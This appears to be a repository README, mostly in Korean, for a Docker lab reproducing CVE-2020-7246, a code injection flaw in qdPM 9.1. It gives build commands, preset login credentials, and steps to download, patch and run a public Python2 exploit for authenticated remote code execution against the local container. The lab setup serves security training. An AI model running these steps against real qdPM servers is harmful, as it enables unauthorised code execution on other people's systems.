pswalia2u/cve-2020-7246Lab environment and exploit script for CVE-2020-7246, a PHP code injection vulnerability in qdPM 9.1. Includes Docker setup and Python2-based exploitation for authenticated remote code execution.
실험실 설정: a) git clone https://github.com/pswalia2u/CVE-2020-7246.git b) cd CVE-2020-7246 && docker build -t cve-assignment:ine . && docker run -it -p 80:80 cve-assignment:ine c) 웹 서버는 http://127.0.0.1/index.php 에서 접근 가능해야 합니다. d) 사전 설정된 계정: 이메일: [email protected] 비밀번호: developer_1
공격:
예전 python2 익스플로잇 https://www.exploit-db.com/exploits/47954 사용 a) curl https://www.exploit-db.com/raw/47954 > exploit.py
b) 익스플로잇 스크립트 상단에 "# -- coding: utf-8 --" 추가 sed -i '1s/^/# -- coding: utf-8 --\n/' exploit.py
c) python2 및 의존성 설치 apt install python2 -y && curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python2 get-pip.py && pip2 install requests lxml
d) 익스플로잇 실행 python2 exploit.py -url http://127.0.0.1/ -u <user_email> -p python2 exploit.py -url http://127.0.0.1/ -u [email protected] -p developer_1
